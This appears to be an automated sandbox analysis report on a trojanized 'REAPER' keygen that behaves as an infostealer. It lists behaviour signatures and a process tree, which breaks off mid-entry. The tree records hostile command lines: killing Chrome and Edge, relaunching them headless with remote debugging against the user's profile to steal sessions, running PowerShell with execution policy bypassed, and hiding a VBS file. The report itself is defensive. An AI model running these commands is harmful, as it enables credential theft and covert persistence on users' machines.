Overview

overview

8

Static

static

3

Patch.and....en.exe

windows10-2004-x64

8

Patch.and....en.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    92s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 23:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Patch.and.Keygen-R2R/REAPER_KeyGen.exe
  • Size 12.8MB
  • Sample260708-29be6sbt2v
  • SHA256 2e3ab84f9027cd830782c973250d0ec700fae62137d82abfb474a965aba270bb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Uses browser remote debugging 2 TTPs 19 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 35 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Patch.and.Keygen-R2R\REAPER_KeyGen.exe
    "C:\Users\Admin\AppData\Local\Temp\Patch.and.Keygen-R2R\REAPER_KeyGen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Users\Admin\AppData\Local\Temp\Patch.and.Keygen-R2R\REAPER_KeyGen.exe
      "C:\Users\Admin\AppData\Local\Temp\Patch.and.Keygen-R2R\REAPER_KeyGen.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_3744.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_3744.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Users\Admin\AppData\Local\Temp\keygen.exe
          C:\Users\Admin\AppData\Local\Temp\keygen.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3192
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2152
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2372
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcd0c1c728,0x7ffcd0c1c734,0x7ffcd0c1c740
          4⤵
            PID:4276
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
            4⤵
              PID:6088
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1856 /prefetch:11
              4⤵
              • System Time Discovery
              PID:6140
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:13
              4⤵
                PID:2132
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3600
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:4380
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:2780
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:14
                4⤵
                  PID:3548
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
                  4⤵
                    PID:2744
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:5556
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:1888
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:4544
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:14
                    4⤵
                      PID:5424
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2560
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2312
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:3432
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:3620
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:3372
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:14
                      4⤵
                        PID:488
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:14
                        4⤵
                          PID:1800
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:1
                          4⤵
                          • Uses browser remote debugging
                          PID:1596
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=1916,i,11478311269167639863,11174082303016414621,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:9
                          4⤵
                          • Uses browser remote debugging
                          PID:3488
                      • C:\Windows\SYSTEM32\taskkill.exe
                        taskkill /F /IM msedge.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1656
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
                        3⤵
                        • Uses browser remote debugging
                        • Drops file in Windows directory
                        • Enumerates system info in registry
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:1844
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x270,0x7ffcd057c188,0x7ffcd057c194,0x7ffcd057c1a0
                          4⤵
                            PID:248
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:2
                            4⤵
                              PID:2440
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:11
                              4⤵
                              • System Time Discovery
                              PID:3056
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:13
                              4⤵
                                PID:5184
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3340 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:2332
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:4560
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:4648
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3764 /prefetch:9
                                4⤵
                                • Uses browser remote debugging
                                PID:5020
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:14
                                4⤵
                                  PID:1812
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:14
                                  4⤵
                                    PID:5540
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:14
                                    4⤵
                                      PID:3384
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2144,i,17625640201653729096,10518846870717066049,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
                                      4⤵
                                        PID:616
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmpauub0i3w.ps1
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1908
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\CKoqEKlyKb.vbs""
                                      3⤵
                                      • Hide Artifacts: Hidden Files and Directories
                                      • Suspicious use of WriteProcessMemory
                                      PID:4400
                                      • C:\Windows\system32\attrib.exe
                                        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\CKoqEKlyKb.vbs"
                                        4⤵
                                        • Views/modifies file attributes
                                        PID:5064
                                    • C:\Windows\system32\cmd.exe
